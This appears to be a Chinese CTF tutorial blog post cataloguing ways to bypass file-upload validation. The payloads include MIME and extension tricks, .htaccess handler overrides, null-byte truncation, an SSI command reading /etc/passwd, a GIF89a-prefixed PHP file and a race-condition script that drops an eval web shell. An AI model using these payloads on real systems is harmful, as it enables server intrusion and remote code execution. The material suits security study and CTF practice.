两种校验方式

  • 客户端校验(javascript校验)
  • 服务端校验

客户端校验

绕过方法

  • 抓包改包
  • 禁用JS

禁用JS

  • 如果是弹窗提示,打开控制台->网络,上传时没有请求发出去,说明是在本地校验
  • 火狐插件-yescript2
  • 老版本可以使用WebDeveloper

抓包改包

用bp抓包后直接改后缀名

服务端校验

MIME类型检测

MIME类型在html文件中使用content-type属性表示

  • php举例:
if($_FILES["upfile"]["type"]!="image/gif"){
echo "只允许上传图片";
exit;
}
  • 常见文件名对应的MIME类型

    • 扩展名:gif MIME类型:image/gif
    • 扩展名:png MIME类型:image/png
    • 扩展名:jpg MIME类型:image/jpg
    • 扩展名:js MIME类型:text/javascript
    • 扩展名:htm MIME类型:text/html
    • 扩展名:html MIME类型:text/html
  • 绕过方法

    • 抓包改content-type字段
    • 改文件名后上传抓包后再改回文件名
    • 上传正常文件改文件内容
    • 。。。

后缀名黑名单校验

  • 绕过方法

    • 大小写绕过,例如Php、PhP
    • 利用黑名单中没有的,但是又能够被解析的后缀名,例如php、php3、php4、php5、php7、pht、phtml、phps
    • 配合Apache的.htaccess文件上传解析

      该文件可以理解为Apache的分布式配置文件,在一个特定的文档中放置,以作用于此目录及其所有子目录。管理员可以通过Apache的AllowOverride指令来设置/etc/apache2/apache2.conf,默认是NONE,需要为ALL

    <FilesMatch "xxx.jpg">
    SetHandler application/x-httpd-php
    </FilesMacth>

    不能写<?时使用伪协议

    AddType application/x-httpd-php .wuwu
    php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.wuwu"
    name = getname(http request)//假如这时候获取到的文件名是test.asp.jpg(asp后面为0x00)
    type = gettype(name)//而在gettype()函数里处理方式是从后往前扫描扩展名,所以判断为jpg
    if(type==jpg)
    SaveFileToPath(UploadPath.name,name)

    在第一个后缀名后加一个空格(0x20),使用bp->repeater->hex,将其改成0x00

    • 超长文件名截断上传(windows 258byte | linux 4096byte)

      使用./或.
    • shtml

      当Web服务器为Apache和IIS(支持SSI功能的服务器)且开启了SSI与CGI支持

      <!--#exec cmd="cat /etc/passwd"-->

后缀名白名单校验

  • 配合Apache的解析缺陷

    Apache的解析漏洞主要特性是从后面开始检查后缀,按最后一个合法后缀

内容头校验

  • 绕过方法

    在恶意脚本前加上允许上传文件的头标识

    GIF89a
    <?php phpinfo(); ?>

竞争上传

  • 情景

    文件上传后,检测是否合法,不合法就删除
  • 利用方式

    在删除前访问到上传的文件
    <?php
    $file = 'web.php';
    $shell = '<?php eval($_POST["key"])?>';
    file_put_contents($file,$shell);
    ?>

    用bp同时上传和访问

  • 例子

    https://github.com/backlion/demo/blob/master/lfi_phpinfo.py

php崩溃导致tmp文件保留

当存在include的时候,传入file=php://filter/string.strip_tags/resource=/etc/passwd会导致Segment Fault,这样如果在此同时上传文件,那么临时文件就会被保存在/tmp目录,不会被删除。但是这时还需要知道tmp目录下的文件名

过滤<?php

  • js标签绕过,需要php小于7.0
<script language="PHP">
$fh=fopen("../flag.".strtolower("PHP"),'r');
echo fread($fh,filesize("../flag.".strtolower("PHP")));
fclose($fh);
</script>
  • PHP开启短标签即short_open_tag=on时,可以使用<?=$_?>输出变量,在PHP 5.4 之后默认支持

CTF 文件上传的更多相关文章

  1. ctf.show_web13(文件上传之.user.ini)

    这是一道文件上传题,先二话不说丢个图片码,显示为 先考虑文件太小,用burp抓包,添加了一堆无用的东西后显示仍然是error file zise,直到上传正常图片依旧如此,考虑文件太大.将一句话木马修 ...

  2. 文件上传和WAF的攻与防

    Author:JoyChouDate:20180613 1. 前言 本文的测试环境均为 nginx/1.10.3 PHP 5.5.34 有些特性和 语言及webserver有关,有问题的地方,欢迎大家 ...

  3. Web文件上传靶场 - 通关笔记

    Web应用程序通常会提供一些上传功能,比如上传头像,图片资源等,只要与资源传输有关的地方就可能存在上传漏洞,上传漏洞归根结底是程序员在对用户文件上传时控制不足或者是处理的缺陷导致的,文件上传漏洞在渗透 ...

  4. 2020/1/30 PHP代码审计之文件上传漏洞

    0x00 漏洞简介 文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力.这种攻击是最为直接和有效的,"文件上传"本身是没有问题,有问题的是 ...

  5. Upload-labs 文件上传靶场通关攻略(下)

    Upload-Labs靶场攻略(下) Pass-11 GET型传参,上传目录可设置,考虑00截断,在/upload/后添加1.php%00,即可上传 Pass-12 POST型传参,上传目录可设置,P ...

  6. jquery.uploadify文件上传组件

    1.jquery.uploadify简介 在ASP.NET中上传的控件有很多,比如.NET自带的FileUpload,以及SWFUpload,Uploadify等等,尤其后面两个控件的用户体验比较好, ...

  7. 11、Struts2 的文件上传和下载

    文件上传 表单准备 要想使用 HTML 表单上传一个或多个文件 须把 HTML 表单的 enctype 属性设置为 multipart/form-data 须把 HTML 表单的method 属性设置 ...

  8. Java FtpClient 实现文件上传服务

    一.Ubuntu 安装 Vsftpd 服务 1.安装 sudo apt-get install vsftpd 2.添加用户(uftp) sudo useradd -d /home/uftp -s /b ...

  9. 小兔Java教程 - 三分钟学会Java文件上传

    今天群里正好有人问起了Java文件上传的事情,本来这是Java里面的知识点,而我目前最主要的精力还是放在了JS的部分.不过反正也不麻烦,我就专门开一贴来聊聊Java文件上传的基本实现方法吧. 话不多说 ...

随机推荐

  1. 【面试突击】-缓存击穿(布隆过滤器 Bloom Filter)

    原文地址:https://blog.csdn.net/fouy_yun/article/details/81075432 前面的文章介绍了缓存的分类和使用的场景.通常情况下,缓存是加速系统响应的一种途 ...

  2. ASUS笔记本,更换了固态硬盘,重装系统前后开机都自动进入BIOS界面

    解决方法:advanced标签中sata configration回车进入,如有识别硬盘设备,按F9恢复BIOS默认设置,按F10保存后重启. 如有自行安装过系统,Security-Secure Bo ...

  3. 小程序中的数据请求sessionid,保持登陆状态。

    版权声明:本文为CSDN博主「weixin_43964779」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明.原文链接:https://blog.csdn.net ...

  4. MySQL DDL--MySQL 5.7版本Online DDL操作

    主键索引维护 1.新增主键索引 ## 可以使用ALGORITHM=INPLACE+LOCK=NONE方式,操作期间允许读写. ALTER TABLE tb001 ADD PRIMARY KEY (ID ...

  5. CAD中如何将图形按一定的比例放大或缩小

    1.双击CAD快捷键图标,打开CAD绘图界面: 2.以正五边形为例,点击左边的正多边形按钮: 3.绘制好后得到五边形图形: 4.给图形做好尺寸标注方便直观比较: 5.选择图像在命令行输入sc命令,按键 ...

  6. PCB板信号完整性分析的操作步骤及设置方法

    AD16的主要功能是画电路原理图和根据电路原理图设计PCB板.为了使设计的电路.画完的电路原理图,从电路原理上不存在错误,从电路逻辑上不存在混乱,AD16专门开发了电路原理图的仿真程序.这样可以把设计 ...

  7. Chrome浏览器内部协议Chrome://收集

    Chromium 采用 Chrome:// 协议开头的形式, 规定了一系列的内部协议, 有的用来显示数据, 有的用来实现一些功能, 但对普通用户进行了屏蔽.在Chrome浏览器地址栏直接访问就好了! ...

  8. keyword (this and arguments) in function --- 涉及递归

    arguments 就像一个数组一样,包含了传递给这个函数的参数 , 以上部分为this的介绍,注意arguments.callee  属性 ,可用于递归调用,其代表的是  : 当前正在运行函数的引用 ...

  9. onreadystatechange和onload区别分析

    onreadystatechange和onload区别分析   script加载 IE的script 元素只支持onreadystatechange事件,不支持onload事件. FireFox,Op ...

  10. oracle 将与本端(name)联系的人取出

    本人与其他所有人认识的SQL: 首先新建测试表 create table DIM_IA_TEST6 ( NAME ), OTHERNAME ) ) 插入数据 --如果没有重复的记录,则不用去重使用un ...